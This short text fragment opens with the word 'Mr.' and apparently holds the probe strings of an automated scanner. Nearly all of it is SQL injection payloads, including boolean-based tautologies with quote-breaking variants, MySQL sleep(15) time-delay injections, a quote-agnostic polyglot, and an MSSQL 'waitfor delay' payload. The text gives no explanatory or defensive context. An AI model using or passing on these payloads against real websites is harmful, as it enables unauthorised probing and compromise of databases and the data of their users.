Mr.

-1 OR 2+871-871-1=0+0+0+1 --

-1 OR 2+251-251-1=0+0+0+1

-1' OR 2+690-690-1=0+0+0+1 --

-1' OR 2+593-593-1=0+0+0+1 or 'TkebrjOv'='

-1" OR 2+154-154-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --